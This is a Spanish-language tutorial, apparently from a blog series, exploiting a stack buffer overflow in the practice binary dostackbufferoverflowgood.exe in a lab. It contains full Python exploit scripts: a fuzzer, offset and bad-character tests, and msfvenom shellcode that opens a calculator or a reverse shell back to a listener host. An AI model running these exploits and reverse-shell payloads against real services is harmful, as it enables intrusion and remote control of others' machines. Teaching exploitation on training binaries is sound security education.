Este post es la continuación de la serie de Stack Buffer Overflow básico.

Se revisará la explotación del binario dostackbufferoverflowgood.exe, mostrando como se puede abrir una calculadora en el host remoto y cómo obtener una shell reversa.

Lo primero a realizar es adjuntar el proceso del binario al debugger (en este caso Immunity Debugger):

NOTA: en caso de que no se encuentre en ejecución el programa, este puede ser abierto usando el debugger.

Al adjuntar o abrir el programa con Immunity, este queda en estado Paused; por lo tanto, es necesario iniciarlo:

Ahora que se encuentra iniciado el programa, debemos realizar un escaneo de puertos para poder identificar en qué puerto se encuentra corriendo el servicio:

En este caso, el servicio se encuentra corriendo en el puerto 31337 (anteriormente identificado en la documentación del binario).

Si nos conectamos a dicho puerto usando netcat e introducimos caracteres en este, vemos que nos responde con un Hello [string]!!!:

Al validar por el lado del servidor (binario), vemos que este registra los bytes recibidos:

Fuzzer

Para saber el momento en que la aplicación crashea, podemos usar el siguiente fuzzer, el cual, es una herramienta que envía datos de forma incremental para reconocer un valor aproximado de cuando el servicio deja de funcionar:

#!/usr/bin/python3
import socket

# Datos de conexion
rhost = "192.168.200.136"
rport = 31337

# Datos a enviar: A en hexa
payload = b"\x41"*100

try:
    while True:
    	print("sent " + str(len(payload)))
        # Creacion del socket object TCP
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        # Conexion al servicio
        s.connect((rhost, rport))
        # Envio del payload
        s.send(payload + b"\n")
        # Recepcion de los datos enviados por el server
        data = s.recv(1024)
        payload += b"\x41"*100
except Exception as err:
	print("Error: " +  str(err))
NOTA: en python 3 es necesario enviar los datos como bytes, por eso se agrega la b antes de los strings.

Al ejecutar el script, vemos que se envían 200 A y luego el servidor deja de responder:

Si revisamos el debugger, se muestra que el valor del EIP es 41414141, que corresponde a nuestras letras A en hexadecimal:

Sabemos que se produce una denegación de servicio enviando 200 caracteres debido a que se sobreescribe el EIP, y ahora, es necesario validar con cuantos caracteres se produce esto.

Para lograrlo, mostraré el uso de dos herramientas, una se encuentra entre los scripts que posee Metasploit Framework, y el otro es la herramienta mona.

En este proceso, debemos restaurar el servicio con cada prueba, y esto se puede lograr cerrando y volviendo a abrir el debugger y adjuntando nuevamente el servicio. También, tenemos la opción de hacer clic a la tecla restart de Immunity:

NOTA: no olvidar hacer clic en run.

Obteniendo el offset

El offset el la cantidad de caracteres que se deben enviar antes de sobreescribir el EIP.

Pattern Create/Offset Metasploit

En esta opción usaremos los scripts pattern_create y pattern_offset de Metasploit.

Lo primero es crear un patrón de caracteres usando pattern_create. En mi caso, como estoy usando Kali Linux, la ruta de este script es /usr/share/metasploit-framework/tools/exploit/pattern_create.rb:

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 200

Ahora copiamos los 200 caracteres generados en un script similar al anterior y lo ejecutamos:

#!/usr/bin/python3
import socket

rhost = "192.168.200.136"
rport = 31337

payload = b"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag"

# Creacion del socket object
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# Conexion al servicio
s.connect((rhost, rport))
# Enviamos nuestro payload
s.send(payload + b"\n")
# Recibimos los datos de la comunicacion
data = s.recv(1024)
print(data)

Con esto generamos la denegación de servicio del programa y podemos observar que el EIP es diferente a los 41 anteriores:

Esto se debe a que el valor del string enviado es diferente, pero con este nuevo valor, podemos calcular el offset.

Copiamos el valor del EIP y ahora ejecutamos el script pattern_offset:

/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 39654138

Ya con esto sabemos que si enviamos 146 caracteres  más otros 4, podemos sobreescribir el EIP. Realizamos una prueba de concepto modificando el valor del payload por lo siguiente:

payload = b"\x41"*146 + b"ABCD"

El valor del EIP es 44434241, que son las representaciones de DCBA (en little-endian).

Pattern Create/Offset mona

Mona es un script desarrollado por Coleran, el cual, dentro de sus funcionalidades posee un pattern create y un pattern offset.

Para poder usar este script en conjunto con Immunity debugger, este debe ser descargado y almacenado en el directorio PyCommands:

Luego de cargar mona en el directorio del debugger, abrimos Immunity y creamos un entorno de trabajo con el script, donde, se almacenarán los datos y archivos generados. Escribimos el comando en la barra inferior del debugger:

!mona config -set workingfolder C:\ImmunityLogs\%p

Ahora creamos un patrón con el siguiente comando:

!mona pc 200

Al ejecutar este comando, vemos que se genera un archivo dentro del directorio generados anteriormente:

Luego de generar el crasheo del servidor y obtener el valor del EIP, usamos el siguiente comando para obtener el valor del offset:

!mona po 39654138

Generando un shellcode

Ahora que tenemos el valor del offset podemos empezar a generar nuestro shellcode, pero antes de eso, debemos encontrar lo siguiente:

  • Una dirección  de un JMP ESP
  • Badchars

Encontrando la dirección del JMP ESP

Cuando enviamos nuestro shellcode este iniciará en el ESP, por lo tanto, lo primero es encontrar una dirección que apunte al ESP.

Lo podríamos identificar revisando la dirección del registro en el debugger, pero esta puede cambiar de forma dinámica, por lo tanto, es necesario encontrar una dirección fija en la memoria que salte (JMP)  o que llame (CALL) a ESP.

Si tenemos un ambiente que tiene ASLR deshabilitado, podemos usar la librería kernel32.dll u otra que utilice el programa, debido a que estas se almacenan en una dirección de memoria fija.

Para poder encontrar estas direcciones, podemos usar una funcionalidad de mona:

!mona jmp -r esp

Cuando encontramos las direcciones, debemos validar que no tengan las protecciones habilitadas (en especial ASLR). En este caso, podemos usar ambas direcciones.

Estas deben ser cambiadas a little-endian para poder ser enviadas en el payload:

address = "0x080414c3"
address_little-endian = "\xc3\x14\x04\x08"

Encontrando Badchars

Los caracteres que no se representan bien en memoria son badchars, y estos pueden romper el código de la shell.

El más común es \x00, que representa a un NULL.

Para ver la lista de caracteres, podemos hacer un man ascii en linux:

Estos caracteres deben ser enviados al servidor y ver cómo los procesa. Usamos mona para generar el string a enviar:

!mona bytearray –cpb "\x00"
NOTA: usamos la opción -cpb para omitir el carácter NULL.

Modificamos nuestro script para que quede de la siguiente forma:

#!/usr/bin/python3
import socket

rhost = "192.168.200.136"
rport = 31337

payload = b"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag"

badchar = (
b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
b"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
b"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
b"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
b"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
b"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
b"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
b"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)

payload += badchar

# Creacion del socket object
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# Conexion al servicio
s.connect((rhost, rport))
# Enviamos nuestro payload
s.send(payload + b"\n")
# Recibimos los datos de la comunicacion
data = s.recv(1024)
print(data)

Seguimos el ESP en el Dump de la memoria (clic derecho > Follow in Dump):

Validamos cuales caracteres faltan:

00 01 02 03 04 05 06 07
08 09 00 0B 0C 0D 0E 0F
10 11 12 13 14 15 16 17
18 19 1A 1B 1C 1D 1E 1F
20 21 22 23 24 25 26 27
28 29 2A 2B 2C 2D 2E 2F
30 31 32 33 34 35 36 37
38 39 3A 3B 3C 3D 3E 3F
40 41 42 43 44 45 46 47
48 49 4A 4B 4C 4D 4E 4F
50 51 52 53 54 55 56 57
58 59 5A 5B 5C 5D 5E 5F
60 61 62 63 64 65 66 67
68 69 6A 6B 6C 6D 6E 6F
70 71 72 73 74 75 76 77
78 79 7A 7B 7C 7D 7E 7F
80 81 82 83 84 85 86 87
88 89 8A 8B 8C 8D 8E 8F
90 91 92 93 94 95 96 97
98 99 9A 9B 9C 9D 9E 9F
A0 A1 A2 A3 A4 A5 A6 A7
A8 A9 AA AB AC AD AE AF
B0 B1 B2 B3 B4 B5 B6 B7
B8 B9 BA BB BC BD BE BF
C0 C1 C2 C3 C4 C5 C6 C7
C8 C9 CA CB CC CD CE CF
D0 D1 D2 D3 D4 D5 D6 D7
D8 D9 DA DB DC DD DE DF
E0 E1 EA EB EC ED EE EF
F0 F1 F2 F3 F4 F5 F6 F7
F8 F9 FA FB FC FD FE FF

Si vemos los caracteres que nos faltan, en este caso solo es0A, por lo tanto, los badchars de este servicio son \x00 y \x0A.

Abriendo una calculadora

Una prueba de concepto de explotación de un buffer overflow es abrir una calculadora, por lo tanto, si la explotación se realiza de forma exitosa, se abrirá la calculadora de Windows al momento de ejecutar nuestro script.

Para esto, generamos nuestro shellcode con msfvenom indicando los badchars encontrados:

msfvenom -p windows/exec CMD=calc.exe -b '\x00\x0A' -f python

Modificamos nuestro script incorporando la dirección encontrada, agregamos nuestro shellcode y unos NOP:

#!/usr/bin/python3
import socket

rhost = "192.168.200.136"
rport = 31337

address = b"\xc3\x14\x04\x08"

payload = b"\x41"*146 + address

nops = b"\x90"*20

buf =  b""
buf += b"\xbf\x05\xca\x04\xca\xdb\xd3\xd9\x74\x24\xf4\x5b\x29"
buf += b"\xc9\xb1\x31\x31\x7b\x13\x03\x7b\x13\x83\xeb\xf9\x28"
buf += b"\xf1\x36\xe9\x2f\xfa\xc6\xe9\x4f\x72\x23\xd8\x4f\xe0"
buf += b"\x27\x4a\x60\x62\x65\x66\x0b\x26\x9e\xfd\x79\xef\x91"
buf += b"\xb6\x34\xc9\x9c\x47\x64\x29\xbe\xcb\x77\x7e\x60\xf2"
buf += b"\xb7\x73\x61\x33\xa5\x7e\x33\xec\xa1\x2d\xa4\x99\xfc"
buf += b"\xed\x4f\xd1\x11\x76\xb3\xa1\x10\x57\x62\xba\x4a\x77"
buf += b"\x84\x6f\xe7\x3e\x9e\x6c\xc2\x89\x15\x46\xb8\x0b\xfc"
buf += b"\x97\x41\xa7\xc1\x18\xb0\xb9\x06\x9e\x2b\xcc\x7e\xdd"
buf += b"\xd6\xd7\x44\x9c\x0c\x5d\x5f\x06\xc6\xc5\xbb\xb7\x0b"
buf += b"\x93\x48\xbb\xe0\xd7\x17\xdf\xf7\x34\x2c\xdb\x7c\xbb"
buf += b"\xe3\x6a\xc6\x98\x27\x37\x9c\x81\x7e\x9d\x73\xbd\x61"
buf += b"\x7e\x2b\x1b\xe9\x92\x38\x16\xb0\xf8\xbf\xa4\xce\x4e"
buf += b"\xbf\xb6\xd0\xfe\xa8\x87\x5b\x91\xaf\x17\x8e\xd6\x40"
buf += b"\x52\x93\x7e\xc9\x3b\x41\xc3\x94\xbb\xbf\x07\xa1\x3f"
buf += b"\x4a\xf7\x56\x5f\x3f\xf2\x13\xe7\xd3\x8e\x0c\x82\xd3"
buf += b"\x3d\x2c\x87\xb7\xa0\xbe\x4b\x16\x47\x47\xe9\x66"

payload += nops + buf

# Creacion del socket object
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# Conexion al servicio
s.connect((rhost, rport))
# Enviamos nuestro payload
s.send(payload + b"\n")
# Recibimos los datos de la comunicacion
data = s.recv(1024)
print(data)

Y al momento de ejecutarlo, este nos abre la calculadora de windows:

Generando una shell reversa

Para obtener una shell reversa, es similar a lo anterior, solo que debemos modificar nuestro shellcode:

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.200.139 LPORT=4444 EXITFUNC=thread -b '\x00\x0A' -f python
NOTA: se utiliza la opción EXITFUNC=thread con la finalidad de que cuando cerremos la conexión de la shell, solo se cierre el proceso de esta conexión y no el programa explotado.

Lo copiamos en nuestro script, lo ejecutamos y obtenemos nuestra shell reversa:

#!/usr/bin/python3
import socket

rhost = "192.168.200.136"
rport = 31337

address = b"\xc3\x14\x04\x08"

payload = b"\x41"*146

buf =  b""
buf += b"\xbb\x80\x94\xf7\x6d\xda\xdd\xd9\x74\x24\xf4\x5e\x2b"
buf += b"\xc9\xb1\x52\x83\xc6\x04\x31\x5e\x0e\x03\xde\x9a\x15"
buf += b"\x98\x22\x4a\x5b\x63\xda\x8b\x3c\xed\x3f\xba\x7c\x89"
buf += b"\x34\xed\x4c\xd9\x18\x02\x26\x8f\x88\x91\x4a\x18\xbf"
buf += b"\x12\xe0\x7e\x8e\xa3\x59\x42\x91\x27\xa0\x97\x71\x19"
buf += b"\x6b\xea\x70\x5e\x96\x07\x20\x37\xdc\xba\xd4\x3c\xa8"
buf += b"\x06\x5f\x0e\x3c\x0f\xbc\xc7\x3f\x3e\x13\x53\x66\xe0"
buf += b"\x92\xb0\x12\xa9\x8c\xd5\x1f\x63\x27\x2d\xeb\x72\xe1"
buf += b"\x7f\x14\xd8\xcc\x4f\xe7\x20\x09\x77\x18\x57\x63\x8b"
buf += b"\xa5\x60\xb0\xf1\x71\xe4\x22\x51\xf1\x5e\x8e\x63\xd6"
buf += b"\x39\x45\x6f\x93\x4e\x01\x6c\x22\x82\x3a\x88\xaf\x25"
buf += b"\xec\x18\xeb\x01\x28\x40\xaf\x28\x69\x2c\x1e\x54\x69"
buf += b"\x8f\xff\xf0\xe2\x22\xeb\x88\xa9\x2a\xd8\xa0\x51\xab"
buf += b"\x76\xb2\x22\x99\xd9\x68\xac\x91\x92\xb6\x2b\xd5\x88"
buf += b"\x0f\xa3\x28\x33\x70\xea\xee\x67\x20\x84\xc7\x07\xab"
buf += b"\x54\xe7\xdd\x7c\x04\x47\x8e\x3c\xf4\x27\x7e\xd5\x1e"
buf += b"\xa8\xa1\xc5\x21\x62\xca\x6c\xd8\xe5\x35\xd8\x2a\x7e"
buf += b"\xdd\x1b\xaa\x90\x42\x95\x4c\xf8\x6a\xf3\xc7\x95\x13"
buf += b"\x5e\x93\x04\xdb\x74\xde\x07\x57\x7b\x1f\xc9\x90\xf6"
buf += b"\x33\xbe\x50\x4d\x69\x69\x6e\x7b\x05\xf5\xfd\xe0\xd5"
buf += b"\x70\x1e\xbf\x82\xd5\xd0\xb6\x46\xc8\x4b\x61\x74\x11"
buf += b"\x0d\x4a\x3c\xce\xee\x55\xbd\x83\x4b\x72\xad\x5d\x53"
buf += b"\x3e\x99\x31\x02\xe8\x77\xf4\xfc\x5a\x21\xae\x53\x35"
buf += b"\xa5\x37\x98\x86\xb3\x37\xf5\x70\x5b\x89\xa0\xc4\x64"
buf += b"\x26\x25\xc1\x1d\x5a\xd5\x2e\xf4\xde\xf5\xcc\xdc\x2a"
buf += b"\x9e\x48\xb5\x96\xc3\x6a\x60\xd4\xfd\xe8\x80\xa5\xf9"
buf += b"\xf1\xe1\xa0\x46\xb6\x1a\xd9\xd7\x53\x1c\x4e\xd7\x71"


nops = b"\x90"*20

payload += address + nops + buf

# Creacion del socket object
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# Conexion al servicio
s.connect((rhost, rport))
# Enviamos nuestro payload
s.send(payload + b"\n")